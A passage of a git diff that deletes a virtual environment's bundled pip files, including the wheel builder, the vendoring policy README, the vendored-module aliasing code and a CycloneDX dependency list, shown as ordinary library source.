-                extra_ok_returncodes=extra_ok_returncodes,
-                command_desc=command_desc,
-                extra_environ=extra_environ,
-                unset_environ=cls.unset_environ,
-                spinner=spinner,
-                log_failed_cmd=log_failed_cmd,
-                stdout_only=stdout_only,
-            )
-        except NotADirectoryError:
-            raise BadCommand(f"Cannot find command {cls.name!r} - invalid PATH")
-        except FileNotFoundError:
-            # errno.ENOENT = no such file or directory
-            # In other words, the VCS executable isn't available
-            raise BadCommand(
-                f"Cannot find command {cls.name!r} - do you have "
-                f"{cls.name!r} installed and in your PATH?"
-            )
-        except PermissionError:
-            # errno.EACCES = Permission denied
-            # This error occurs, for instance, when the command is installed
-            # only for another user. So, the current user don't have
-            # permission to call the other user command.
-            raise BadCommand(
-                f"No permission to execute {cls.name!r} - install it "
-                f"locally, globally (ask admin), or check your PATH. "
-                f"See possible solutions at "
-                f"https://pip.pypa.io/en/latest/reference/pip_freeze/"
-                f"#fixing-permission-denied."
-            )
-
-    @classmethod
-    def is_repository_directory(cls, path: str) -> bool:
-        """
-        Return whether a directory path is a repository directory.
-        """
-        logger.debug("Checking in %s for %s (%s)...", path, cls.dirname, cls.name)
-        return os.path.exists(os.path.join(path, cls.dirname))
-
-    @classmethod
-    def get_repository_root(cls, location: str) -> str | None:
-        """
-        Return the "root" (top-level) directory controlled by the vcs,
-        or `None` if the directory is not in any.
-
-        It is meant to be overridden to implement smarter detection
-        mechanisms for specific vcs.
-
-        This can do more than is_repository_directory() alone. For
-        example, the Git override checks that Git is actually available.
-        """
-        if cls.is_repository_directory(location):
-            return location
-        return None
diff --git a/venv/Lib/site-packages/pip/_internal/wheel_builder.py b/venv/Lib/site-packages/pip/_internal/wheel_builder.py
deleted file mode 100644
index 8a5526142f5a7695b15d6a504985db8389bccddc..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/wheel_builder.py
+++ /dev/null
@@ -1,265 +0,0 @@
-"""Orchestrator for building wheels from InstallRequirements."""
-
-from __future__ import annotations
-
-import logging
-import os.path
-import re
-from collections.abc import Iterable
-from tempfile import TemporaryDirectory
-
-from pip._vendor.packaging.utils import canonicalize_name, canonicalize_version
-from pip._vendor.packaging.version import InvalidVersion, Version
-
-from pip._internal.cache import WheelCache
-from pip._internal.exceptions import InvalidWheelFilename, UnsupportedWheel
-from pip._internal.metadata import FilesystemWheel, get_wheel_distribution
-from pip._internal.models.link import Link
-from pip._internal.models.wheel import Wheel
-from pip._internal.operations.build.wheel import build_wheel_pep517
-from pip._internal.operations.build.wheel_editable import build_wheel_editable
-from pip._internal.req.req_install import InstallRequirement
-from pip._internal.utils.logging import indent_log
-from pip._internal.utils.misc import ensure_dir, hash_file
-from pip._internal.utils.urls import path_to_url
-from pip._internal.vcs import vcs
-
-logger = logging.getLogger(__name__)
-
-_egg_info_re = re.compile(r"([a-z0-9_.]+)-([a-z0-9_.!+-]+)", re.IGNORECASE)
-
-BuildResult = tuple[list[InstallRequirement], list[InstallRequirement]]
-
-
-def _contains_egg_info(s: str) -> bool:
-    """Determine whether the string looks like an egg_info.
-
-    :param s: The string to parse. E.g. foo-2.1
-    """
-    return bool(_egg_info_re.search(s))
-
-
-def _should_cache(
-    req: InstallRequirement,
-) -> bool | None:
-    """
-    Return whether a built InstallRequirement can be stored in the persistent
-    wheel cache, assuming the wheel cache is available.
-    """
-    if req.editable or not req.source_dir:
-        # never cache editable requirements
-        return False
-    if req.link and req.link.is_existing_dir():
-        # never cache local directory requirements
-        return False
-
-    if req.link and req.link.is_vcs:
-        # VCS checkout. Do not cache
-        # unless it points to an immutable commit hash.
-        assert not req.editable
-        assert req.source_dir
-        vcs_backend = vcs.get_backend_for_scheme(req.link.scheme)
-        assert vcs_backend
-        if vcs_backend.is_immutable_rev_checkout(req.link.url, req.source_dir):
-            return True
-        return False
-
-    assert req.link
-    base, ext = req.link.splitext()
-    if _contains_egg_info(base):
-        return True
-
-    # Otherwise, do not cache.
-    return False
-
-
-def _get_cache_dir(
-    req: InstallRequirement,
-    wheel_cache: WheelCache,
-) -> str:
-    """Return the persistent or temporary cache directory where the built
-    wheel need to be stored.
-    """
-    cache_available = bool(wheel_cache.cache_dir)
-    assert req.link
-    if cache_available and _should_cache(req):
-        cache_dir = wheel_cache.get_path_for_link(req.link)
-    else:
-        cache_dir = wheel_cache.get_ephem_path_for_link(req.link)
-    return cache_dir
-
-
-def _verify_one(req: InstallRequirement, wheel_path: str) -> None:
-    canonical_name = canonicalize_name(req.name or "")
-    w = Wheel(os.path.basename(wheel_path))
-    if w.name != canonical_name:
-        raise InvalidWheelFilename(
-            f"Wheel has unexpected file name: expected {canonical_name!r}, "
-            f"got {w.name!r}",
-        )
-    dist = get_wheel_distribution(FilesystemWheel(wheel_path), canonical_name)
-    dist_verstr = str(dist.version)
-    if canonicalize_version(dist_verstr) != canonicalize_version(w.version):
-        raise InvalidWheelFilename(
-            f"Wheel has unexpected file name: expected {dist_verstr!r}, "
-            f"got {w.version!r}",
-        )
-    metadata_version_value = dist.metadata_version
-    if metadata_version_value is None:
-        raise UnsupportedWheel("Missing Metadata-Version")
-    try:
-        metadata_version = Version(metadata_version_value)
-    except InvalidVersion:
-        msg = f"Invalid Metadata-Version: {metadata_version_value}"
-        raise UnsupportedWheel(msg)
-    if metadata_version >= Version("1.2") and not isinstance(dist.version, Version):
-        raise UnsupportedWheel(
-            f"Metadata 1.2 mandates PEP 440 version, but {dist_verstr!r} is not"
-        )
-
-
-def _build_one(
-    req: InstallRequirement,
-    output_dir: str,
-    verify: bool,
-    editable: bool,
-) -> str | None:
-    """Build one wheel.
-
-    :return: The filename of the built wheel, or None if the build failed.
-    """
-    artifact = "editable" if editable else "wheel"
-    try:
-        ensure_dir(output_dir)
-    except OSError as e:
-        logger.warning(
-            "Building %s for %s failed: %s",
-            artifact,
-            req.name,
-            e,
-        )
-        return None
-
-    # Install build deps into temporary directory (PEP 518)
-    with req.build_env:
-        wheel_path = _build_one_inside_env(req, output_dir, editable)
-    if wheel_path and verify:
-        try:
-            _verify_one(req, wheel_path)
-        except (InvalidWheelFilename, UnsupportedWheel) as e:
-            logger.warning("Built %s for %s is invalid: %s", artifact, req.name, e)
-            return None
-    return wheel_path
-
-
-def _build_one_inside_env(
-    req: InstallRequirement,
-    output_dir: str,
-    editable: bool,
-) -> str | None:
-    with TemporaryDirectory(dir=output_dir) as wheel_directory:
-        assert req.name
-        assert req.metadata_directory
-        assert req.pep517_backend
-        if editable:
-            wheel_path = build_wheel_editable(
-                name=req.name,
-                backend=req.pep517_backend,
-                metadata_directory=req.metadata_directory,
-                wheel_directory=wheel_directory,
-            )
-        else:
-            wheel_path = build_wheel_pep517(
-                name=req.name,
-                backend=req.pep517_backend,
-                metadata_directory=req.metadata_directory,
-                wheel_directory=wheel_directory,
-            )
-
-        if wheel_path is not None:
-            wheel_name = os.path.basename(wheel_path)
-            dest_path = os.path.join(output_dir, wheel_name)
-            try:
-                wheel_hash, length = hash_file(wheel_path)
-                # We can do a replace here because wheel_path is guaranteed to
-                # be in the same filesystem as output_dir. This will perform an
-                # atomic rename, which is necessary to avoid concurrency issues
-                # when populating the cache.
-                os.replace(wheel_path, dest_path)
-                logger.info(
-                    "Created wheel for %s: filename=%s size=%d sha256=%s",
-                    req.name,
-                    wheel_name,
-                    length,
-                    wheel_hash.hexdigest(),
-                )
-                logger.info("Stored in directory: %s", output_dir)
-                return dest_path
-            except Exception as e:
-                logger.warning(
-                    "Building wheel for %s failed: %s",
-                    req.name,
-                    e,
-                )
-        return None
-
-
-def build(
-    requirements: Iterable[InstallRequirement],
-    wheel_cache: WheelCache,
-    verify: bool,
-    allow_editables: bool,
-) -> BuildResult:
-    """Build wheels.
-
-    :return: The list of InstallRequirement that succeeded to build and
-        the list of InstallRequirement that failed to build.
-    """
-    if not requirements:
-        return [], []
-
-    # Build the wheels.
-    logger.info(
-        "Building wheels for collected packages: %s",
-        ", ".join(req.name for req in requirements),  # type: ignore
-    )
-
-    with indent_log():
-        build_successes, build_failures = [], []
-        for req in requirements:
-            assert req.name
-            cache_dir = _get_cache_dir(req, wheel_cache)
-            wheel_file = _build_one(
-                req,
-                cache_dir,
-                verify,
-                req.editable and allow_editables,
-            )
-            if wheel_file:
-                # Record the download origin in the cache
-                if req.download_info is not None:
-                    # download_info is guaranteed to be set because when we build an
-                    # InstallRequirement it has been through the preparer before, but
-                    # let's be cautious.
-                    wheel_cache.record_download_origin(cache_dir, req.download_info)
-                # Update the link for this.
-                req.link = Link(path_to_url(wheel_file))
-                req.local_file_path = req.link.file_path
-                assert req.link.is_wheel
-                build_successes.append(req)
-            else:
-                build_failures.append(req)
-
-    # notify success/failure
-    if build_successes:
-        logger.info(
-            "Successfully built %s",
-            " ".join([req.name for req in build_successes]),  # type: ignore
-        )
-    if build_failures:
-        logger.info(
-            "Failed to build %s",
-            " ".join([req.name for req in build_failures]),  # type: ignore
-        )
-    # Return a list of requirements that failed to build
-    return build_successes, build_failures
diff --git a/venv/Lib/site-packages/pip/_vendor/README.rst b/venv/Lib/site-packages/pip/_vendor/README.rst
deleted file mode 100644
index 7429a52f46fb3a76f214744d79f0509be026b87a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/README.rst
+++ /dev/null
@@ -1,178 +0,0 @@
-================
-Vendoring Policy
-================
-
-* Vendored libraries **MUST** not be modified except as required to
-  successfully vendor them.
-* Vendored libraries **MUST** be released copies of libraries available on
-  PyPI.
-* Vendored libraries **MUST** be available under a license that allows
-  them to be integrated into ``pip``, which is released under the MIT license.
-* Vendored libraries **MUST** be accompanied with LICENSE files.
-* The versions of libraries vendored in pip **MUST** be reflected in
-  ``pip/_vendor/vendor.txt``.
-* Vendored libraries **MUST** function without any build steps such as ``2to3``
-  or compilation of C code, practically this limits to single source 2.x/3.x and
-  pure Python.
-* Any modifications made to libraries **MUST** be noted in
-  ``pip/_vendor/README.rst`` and their corresponding patches **MUST** be
-  included ``tools/vendoring/patches``.
-* Vendored libraries should have corresponding ``vendored()`` entries in
-  ``pip/_vendor/__init__.py``.
-
-Rationale
-=========
-
-Historically pip has not had any dependencies except for ``setuptools`` itself,
-choosing instead to implement any functionality it needed to prevent needing
-a dependency. However, starting with pip 1.5, we began to replace code that was
-implemented inside of pip with reusable libraries from PyPI. This brought the
-typical benefits of reusing libraries instead of reinventing the wheel like
-higher quality and more battle tested code, centralization of bug fixes
-(particularly security sensitive ones), and better/more features for less work.
-
-However, there are several issues with having dependencies in the traditional
-way (via ``install_requires``) for pip. These issues are:
-
-**Fragility**
-   When pip depends on another library to function then if for whatever reason
-   that library either isn't installed or an incompatible version is installed
-   then pip ceases to function. This is of course true for all Python
-   applications, however for every application *except* for pip the way you fix
-   it is by re-running pip. Obviously, when pip can't run, you can't use pip to
-   fix pip, so you're left having to manually resolve dependencies and
-   installing them by hand.
-
-**Making other libraries uninstallable**
-   One of pip's current dependencies is the ``requests`` library, for which pip
-   requires a fairly recent version to run.  If pip depended on ``requests`` in
-   the traditional manner, then we'd either have to maintain compatibility with
-   every ``requests`` version that has ever existed (and ever will), OR allow
-   pip to render certain versions of ``requests`` uninstallable. (The second
-   issue, although technically true for any Python application, is magnified by
-   pip's ubiquity; pip is installed by default in Python, in ``pyvenv``, and in
-   ``virtualenv``.)
-
-**Security**
-   This might seem puzzling at first glance, since vendoring has a tendency to
-   complicate updating dependencies for security updates, and that holds true
-   for pip. However, given the *other* reasons for avoiding dependencies, the
-   alternative is for pip to reinvent the wheel itself.  This is what pip did
-   historically. It forced pip to re-implement its own HTTPS verification
-   routines as a workaround for the Python standard library's lack of SSL
-   validation, which resulted in similar bugs in the validation routine in
-   ``requests`` and ``urllib3``, except that they had to be discovered and
-   fixed independently. Even though we're vendoring, reusing libraries keeps
-   pip more secure by relying on the great work of our dependencies, *and*
-   allowing for faster, easier security fixes by simply pulling in newer
-   versions of dependencies.
-
-**Bootstrapping**
-   Currently most popular methods of installing pip rely on pip's
-   self-contained nature to install pip itself. These tools work by bundling a
-   copy of pip, adding it to ``sys.path``, and then executing that copy of pip.
-   This is done instead of implementing a "mini installer" (to reduce
-   duplication); pip already knows how to install a Python package, and is far
-   more battle-tested than any "mini installer" could ever possibly be.
-
-Many downstream redistributors have policies against this kind of bundling, and
-instead opt to patch the software they distribute to debundle it and make it
-rely on the global versions of the software that they already have packaged
-(which may have its own patches applied to it). We (the pip team) would prefer
-it if pip was *not* debundled in this manner due to the above reasons and
-instead we would prefer it if pip would be left intact as it is now.
-
-In the longer term, if someone has a *portable* solution to the above problems,
-other than the bundling method we currently use, that doesn't add additional
-problems that are unreasonable then we would be happy to consider, and possibly
-switch to said method. This solution must function correctly across all of the
-situation that we expect pip to be used and not mandate some external mechanism
-such as OS packages.
-
-
-Modifications
-=============
-
-* ``setuptools`` is completely stripped to only keep ``pkg_resources``.
-* ``pkg_resources`` has been modified to import its dependencies from
-  ``pip._vendor``, and to use the vendored copy of ``platformdirs``
-  rather than ``appdirs``.
-* ``packaging`` has been modified to import its dependencies from
-  ``pip._vendor``.
-* ``CacheControl`` has been modified to import its dependencies from
-  ``pip._vendor``.
-* ``requests`` has been modified to import its other dependencies from
-  ``pip._vendor`` and to *not* load ``simplejson`` (all platforms) and
-  ``pyopenssl`` (Windows).
-* ``platformdirs`` has been modified to import its submodules from ``pip._vendor.platformdirs``.
-
-Automatic Vendoring
-===================
-
-Vendoring is automated via the `vendoring `_ tool from the content of
-``pip/_vendor/vendor.txt`` and the different patches in
-``tools/vendoring/patches``.
-Launch it via ``vendoring sync . -v`` (requires ``vendoring>=0.2.2``).
-Tool configuration is done via ``pyproject.toml``.
-
-To update the vendored library versions, we have a session defined in ``nox``.
-The command to upgrade everything is::
-
-    nox -s vendoring -- --upgrade-all --skip setuptools
-
-We do not upgrade ``setuptools``, because we only rely on ``pkg_resources``,
-and tracking every ``setuptools`` change is unnecessary for our needs.
-
-
-Managing Local Patches
-======================
-
-The ``vendoring`` tool automatically applies our local patches, but updating,
-the patches sometimes no longer apply cleanly. In that case, the update will
-fail. To resolve this, take the following steps:
-
-1. Revert any incomplete changes in the revendoring branch, to ensure you have
-   a clean starting point.
-2. Run the revendoring of the library with a problem again: ``nox -s vendoring
-   -- --upgrade ``.
-3. This will fail again, but you will have the original source in your working
-   directory. Review the existing patch against the source, and modify the patch
-   to reflect the new version of the source. If you ``git add`` the changes the
-   vendoring made, you can modify the source to reflect the patch file and then
-   generate a new patch with ``git diff``.
-4. Now, revert everything *except* the patch file changes. Leave the modified
-   patch file unstaged but saved in the working tree.
-5. Re-run the vendoring. This time, it should pick up the changed patch file
-   and apply it cleanly. The patch file changes will be committed along with the
-   revendoring, so the new commit should be ready to test and publish as a PR.
-
-
-Debundling
-==========
-
-As mentioned in the rationale, we, the pip team, would prefer it if pip was not
-debundled (other than optionally ``pip/_vendor/requests/cacert.pem``) and that
-pip was left intact. However, if you insist on doing so, we have a
-semi-supported method (that we don't test in our CI) and requires a bit of
-extra work on your end in order to solve the problems described above.
-
-1. Delete everything in ``pip/_vendor/`` **except** for
-   ``pip/_vendor/__init__.py`` and ``pip/_vendor/vendor.txt``.
-2. Generate wheels for each of pip's dependencies (and any of their
-   dependencies) using your patched copies of these libraries. These must be
-   placed somewhere on the filesystem that pip can access (``pip/_vendor`` is
-   the default assumption).
-3. Modify ``pip/_vendor/__init__.py`` so that the ``DEBUNDLED`` variable is
-   ``True``.
-4. Upon installation, the ``INSTALLER`` file in pip's own ``dist-info``
-   directory should be set to something other than ``pip``, so that pip
-   can detect that it wasn't installed using itself.
-5. *(optional)* If you've placed the wheels in a location other than
-   ``pip/_vendor/``, then modify ``pip/_vendor/__init__.py`` so that the
-   ``WHEEL_DIR`` variable points to the location you've placed them.
-6. *(optional)* Update the ``pip_self_version_check`` logic to use the
-   appropriate logic for determining the latest available version of pip and
-   prompt the user with the correct upgrade message.
-
-Note that partial debundling is **NOT** supported. You need to prepare wheels
-for all dependencies for successful debundling.
diff --git a/venv/Lib/site-packages/pip/_vendor/__init__.py b/venv/Lib/site-packages/pip/_vendor/__init__.py
deleted file mode 100644
index 34ccb99079139bf230b91f4f7b9303a34de6b717..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/__init__.py
+++ /dev/null
@@ -1,117 +0,0 @@
-"""
-pip._vendor is for vendoring dependencies of pip to prevent needing pip to
-depend on something external.
-
-Files inside of pip._vendor should be considered immutable and should only be
-updated to versions from upstream.
-"""
-from __future__ import absolute_import
-
-import glob
-import os.path
-import sys
-
-# Downstream redistributors which have debundled our dependencies should also
-# patch this value to be true. This will trigger the additional patching
-# to cause things like "six" to be available as pip.
-DEBUNDLED = False
-
-# By default, look in this directory for a bunch of .whl files which we will
-# add to the beginning of sys.path before attempting to import anything. This
-# is done to support downstream re-distributors like Debian and Fedora who
-# wish to create their own Wheels for our dependencies to aid in debundling.
-WHEEL_DIR = os.path.abspath(os.path.dirname(__file__))
-
-
-# Define a small helper function to alias our vendored modules to the real ones
-# if the vendored ones do not exist. This idea of this was taken from
-# https://github.com/kennethreitz/requests/pull/2567.
-def vendored(modulename):
-    vendored_name = "{0}.{1}".format(__name__, modulename)
-
-    try:
-        __import__(modulename, globals(), locals(), level=0)
-    except ImportError:
-        # We can just silently allow import failures to pass here. If we
-        # got to this point it means that ``import pip._vendor.whatever``
-        # failed and so did ``import whatever``. Since we're importing this
-        # upfront in an attempt to alias imports, not erroring here will
-        # just mean we get a regular import error whenever pip *actually*
-        # tries to import one of these modules to use it, which actually
-        # gives us a better error message than we would have otherwise
-        # gotten.
-        pass
-    else:
-        sys.modules[vendored_name] = sys.modules[modulename]
-        base, head = vendored_name.rsplit(".", 1)
-        setattr(sys.modules[base], head, sys.modules[modulename])
-
-
-# If we're operating in a debundled setup, then we want to go ahead and trigger
-# the aliasing of our vendored libraries as well as looking for wheels to add
-# to our sys.path. This will cause all of this code to be a no-op typically
-# however downstream redistributors can enable it in a consistent way across
-# all platforms.
-if DEBUNDLED:
-    # Actually look inside of WHEEL_DIR to find .whl files and add them to the
-    # front of our sys.path.
-    sys.path[:] = glob.glob(os.path.join(WHEEL_DIR, "*.whl")) + sys.path
-
-    # Actually alias all of our vendored dependencies.
-    vendored("cachecontrol")
-    vendored("certifi")
-    vendored("dependency-groups")
-    vendored("distlib")
-    vendored("distro")
-    vendored("packaging")
-    vendored("packaging.version")
-    vendored("packaging.specifiers")
-    vendored("pkg_resources")
-    vendored("platformdirs")
-    vendored("progress")
-    vendored("pyproject_hooks")
-    vendored("requests")
-    vendored("requests.exceptions")
-    vendored("requests.packages")
-    vendored("requests.packages.urllib3")
-    vendored("requests.packages.urllib3._collections")
-    vendored("requests.packages.urllib3.connection")
-    vendored("requests.packages.urllib3.connectionpool")
-    vendored("requests.packages.urllib3.contrib")
-    vendored("requests.packages.urllib3.contrib.ntlmpool")
-    vendored("requests.packages.urllib3.contrib.pyopenssl")
-    vendored("requests.packages.urllib3.exceptions")
-    vendored("requests.packages.urllib3.fields")
-    vendored("requests.packages.urllib3.filepost")
-    vendored("requests.packages.urllib3.packages")
-    vendored("requests.packages.urllib3.packages.ordered_dict")
-    vendored("requests.packages.urllib3.packages.six")
-    vendored("requests.packages.urllib3.packages.ssl_match_hostname")
-    vendored("requests.packages.urllib3.packages.ssl_match_hostname."
-             "_implementation")
-    vendored("requests.packages.urllib3.poolmanager")
-    vendored("requests.packages.urllib3.request")
-    vendored("requests.packages.urllib3.response")
-    vendored("requests.packages.urllib3.util")
-    vendored("requests.packages.urllib3.util.connection")
-    vendored("requests.packages.urllib3.util.request")
-    vendored("requests.packages.urllib3.util.response")
-    vendored("requests.packages.urllib3.util.retry")
-    vendored("requests.packages.urllib3.util.ssl_")
-    vendored("requests.packages.urllib3.util.timeout")
-    vendored("requests.packages.urllib3.util.url")
-    vendored("resolvelib")
-    vendored("rich")
-    vendored("rich.console")
-    vendored("rich.highlighter")
-    vendored("rich.logging")
-    vendored("rich.markup")
-    vendored("rich.progress")
-    vendored("rich.segment")
-    vendored("rich.style")
-    vendored("rich.text")
-    vendored("rich.traceback")
-    if sys.version_info < (3, 11):
-        vendored("tomli")
-    vendored("truststore")
-    vendored("urllib3")
diff --git a/venv/Lib/site-packages/pip/_vendor/bom.cdx.json b/venv/Lib/site-packages/pip/_vendor/bom.cdx.json
deleted file mode 100644
index 7f2d28551c2e226204a00b03ca0da3e8ec783f17..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/bom.cdx.json
+++ /dev/null
@@ -1,231 +0,0 @@
-{
-  "$schema": "http://cyclonedx.org/schema/bom-1.4.schema.json",
-  "bomFormat": "CycloneDX",
-  "components": [
-    {
-      "bom-ref": "bom-ref:pip",
-      "name": "pip",
-      "type": "library"
-    },
-    {
-      "bom-ref": "pkg:pypi/CacheControl@0.14.4",
-      "name": "CacheControl",
-      "purl": "pkg:pypi/CacheControl@0.14.4",
-      "type": "library",
-      "version": "0.14.4"
-    },
-    {
-      "bom-ref": "pkg:pypi/certifi@2026.6.17",
-      "name": "certifi",
-      "purl": "pkg:pypi/certifi@2026.6.17",
-      "type": "library",
-      "version": "2026.6.17"
-    },
-    {
-      "bom-ref": "pkg:pypi/distlib@0.4.2",
-      "name": "distlib",
-      "purl": "pkg:pypi/distlib@0.4.2",
-      "type": "library",
-      "version": "0.4.2"
-    },
-    {
-      "bom-ref": "pkg:pypi/distro@1.9.0",
-      "name": "distro",
-      "purl": "pkg:pypi/distro@1.9.0",
-      "type": "library",
-      "version": "1.9.0"
-    },
-    {
-      "bom-ref": "pkg:pypi/idna@3.18",
-      "name": "idna",
-      "purl": "pkg:pypi/idna@3.18",
-      "type": "library",
-      "version": "3.18"
-    },
-    {
-      "bom-ref": "pkg:pypi/msgpack@1.1.2",
-      "name": "msgpack",
-      "purl": "pkg:pypi/msgpack@1.1.2",
-      "type": "library",
-      "version": "1.1.2"
-    },
-    {
-      "bom-ref": "pkg:pypi/packaging@26.2",
-      "name": "packaging",
-      "purl": "pkg:pypi/packaging@26.2",
-      "type": "library",
-      "version": "26.2"
-    },
-    {
-      "bom-ref": "pkg:pypi/platformdirs@4.10.0",
-      "name": "platformdirs",
-      "purl": "pkg:pypi/platformdirs@4.10.0",
-      "type": "library",
-      "version": "4.10.0"
-    },
-    {
-      "bom-ref": "pkg:pypi/pygments@2.20.0",
-      "name": "pygments",
-      "purl": "pkg:pypi/pygments@2.20.0",
-      "type": "library",
-      "version": "2.20.0"
-    },
-    {
-      "bom-ref": "pkg:pypi/pyproject-hooks@1.2.0",
-      "name": "pyproject-hooks",
-      "purl": "pkg:pypi/pyproject-hooks@1.2.0",
-      "type": "library",
-      "version": "1.2.0"
-    },
-    {
-      "bom-ref": "pkg:pypi/requests@2.34.2",
-      "name": "requests",
-      "purl": "pkg:pypi/requests@2.34.2",
-      "type": "library",
-      "version": "2.34.2"
-    },
-    {
-      "bom-ref": "pkg:pypi/resolvelib@1.2.1",
-      "name": "resolvelib",
-      "purl": "pkg:pypi/resolvelib@1.2.1",
-      "type": "library",
-      "version": "1.2.1"
-    },
-    {
-      "bom-ref": "pkg:pypi/rich@14.2.0",
-      "name": "rich",
-      "purl": "pkg:pypi/rich@14.2.0",
-      "type": "library",
-      "version": "14.2.0"
-    },
-    {
-      "bom-ref": "pkg:pypi/setuptools@70.3.0",
-      "name": "setuptools",
-      "purl": "pkg:pypi/setuptools@70.3.0",
-      "type": "library",
-      "version": "70.3.0"
-    },
-    {
-      "bom-ref": "pkg:pypi/tomli@2.4.1",
-      "name": "tomli",
-      "purl": "pkg:pypi/tomli@2.4.1",
-      "type": "library",
-      "version": "2.4.1"
-    },
-    {
-      "bom-ref": "pkg:pypi/tomli-w@1.2.0",
-      "name": "tomli-w",
-      "purl": "pkg:pypi/tomli-w@1.2.0",
-      "type": "library",
-      "version": "1.2.0"
-    },
-    {
-      "bom-ref": "pkg:pypi/truststore@0.10.4",
-      "name": "truststore",
-      "purl": "pkg:pypi/truststore@0.10.4",
-      "type": "library",
-      "version": "0.10.4"
-    },
-    {
-      "bom-ref": "pkg:pypi/urllib3@2.7.0",
-      "name": "urllib3",
-      "purl": "pkg:pypi/urllib3@2.7.0",
-      "type": "library",
-      "version": "2.7.0"
-    }
-  ],
-  "dependencies": [
-    {
-      "dependsOn": [
-        "pkg:pypi/CacheControl@0.14.4",
-        "pkg:pypi/certifi@2026.6.17",
-        "pkg:pypi/distlib@0.4.2",
-        "pkg:pypi/distro@1.9.0",
-        "pkg:pypi/idna@3.18",
-        "pkg:pypi/msgpack@1.1.2",
-        "pkg:pypi/packaging@26.2",
-        "pkg:pypi/platformdirs@4.10.0",
-        "pkg:pypi/pygments@2.20.0",
-        "pkg:pypi/pyproject-hooks@1.2.0",
-        "pkg:pypi/requests@2.34.2",
-        "pkg:pypi/resolvelib@1.2.1",
-        "pkg:pypi/rich@14.2.0",
-        "pkg:pypi/setuptools@70.3.0",
-        "pkg:pypi/tomli@2.4.1",
-        "pkg:pypi/tomli-w@1.2.0",
-        "pkg:pypi/truststore@0.10.4",
-        "pkg:pypi/urllib3@2.7.0"
-      ],
-      "ref": "bom-ref:pip"
-    },
-    {
-      "ref": "pkg:pypi/CacheControl@0.14.4"
-    },
-    {
-      "ref": "pkg:pypi/certifi@2026.6.17"
-    },
-    {
-      "ref": "pkg:pypi/distlib@0.4.2"
-    },
-    {
-      "ref": "pkg:pypi/distro@1.9.0"
-    },
-    {
-      "ref": "pkg:pypi/idna@3.18"
-    },
-    {
-      "ref": "pkg:pypi/msgpack@1.1.2"
-    },
-    {
-      "ref": "pkg:pypi/packaging@26.2"
-    },
-    {
-      "ref": "pkg:pypi/platformdirs@4.10.0"
-    },
-    {
-      "ref": "pkg:pypi/pygments@2.20.0"
-    },
-    {
-      "ref": "pkg:pypi/pyproject-hooks@1.2.0"
-    },
-    {
-      "ref": "pkg:pypi/requests@2.34.2"
-    },
-    {
-      "ref": "pkg:pypi/resolvelib@1.2.1"
-    },
-    {
-      "ref": "pkg:pypi/rich@14.2.0"
-    },
-    {
-      "ref": "pkg:pypi/setuptools@70.3.0"
-    },
-    {
-      "ref": "pkg:pypi/tomli@2.4.1"
-    },
-    {
-      "ref": "pkg:pypi/tomli-w@1.2.0"
-    },
-    {
-      "ref": "pkg:pypi/truststore@0.10.4"
-    },
-    {
-      "ref": "pkg:pypi/urllib3@2.7.0"
-    }
-  ],
-  "metadata": {
-    "component": {
-      "bom-ref": "bom-ref:pip",
-      "name": "pip",
-      "type": "library"
-    },
-    "tools": [
-      {
-        "name": "vendoring",
-        "version": "1.4.0"
-      }
-    ]
-  },
-  "specVersion": "1.4",
-  "version": 1
-}
\ No newline at end of file
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/LICENSE.txt b/venv/Lib/site-packages/pip/_vendor/cachecontrol/LICENSE.txt
deleted file mode 100644
index d8b3b56d361cfaa04de6304c96c328f27266f74e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/LICENSE.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-Copyright 2012-2021  Eric Larson
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/__init__.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/__init__.py
deleted file mode 100644
index 3f8c36f67b39fc2bd4828a107090e9e1a9ae76a7..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/__init__.py
+++ /dev/null
@@ -1,32 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-
-"""CacheControl import Interface.
-
-Make it easy to import from cachecontrol without long namespaces.
-"""
-
-import importlib.metadata
-
-from pip._vendor.cachecontrol.adapter import CacheControlAdapter
-from pip._vendor.cachecontrol.controller import CacheController
-from pip._vendor.cachecontrol.wrapper import CacheControl
-
-__author__ = "Eric Larson"
-__email__ = "eric@ionrock.org"
-# pip patch: this won't work when vendored, so just patch it out as it's unused
-# __version__ = importlib.metadata.version("cachecontrol")
-
-__all__ = [
-    "__author__",
-    "__email__",
-    "__version__",
-    "CacheControlAdapter",
-    "CacheController",
-    "CacheControl",
-]
-
-import logging
-
-logging.getLogger(__name__).addHandler(logging.NullHandler())
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/_cmd.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/_cmd.py
deleted file mode 100644
index 2c84208a5d87511cc4a63dcd9c647ac75c6f4475..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/_cmd.py
+++ /dev/null
@@ -1,70 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-import logging
-from argparse import ArgumentParser
-from typing import TYPE_CHECKING
-
-from pip._vendor import requests
-
-from pip._vendor.cachecontrol.adapter import CacheControlAdapter
-from pip._vendor.cachecontrol.cache import DictCache
-from pip._vendor.cachecontrol.controller import logger
-
-if TYPE_CHECKING:
-    from argparse import Namespace
-
-    from pip._vendor.cachecontrol.controller import CacheController
-
-
-def setup_logging() -> None:
-    logger.setLevel(logging.DEBUG)
-    handler = logging.StreamHandler()
-    logger.addHandler(handler)
-
-
-def get_session() -> requests.Session:
-    adapter = CacheControlAdapter(
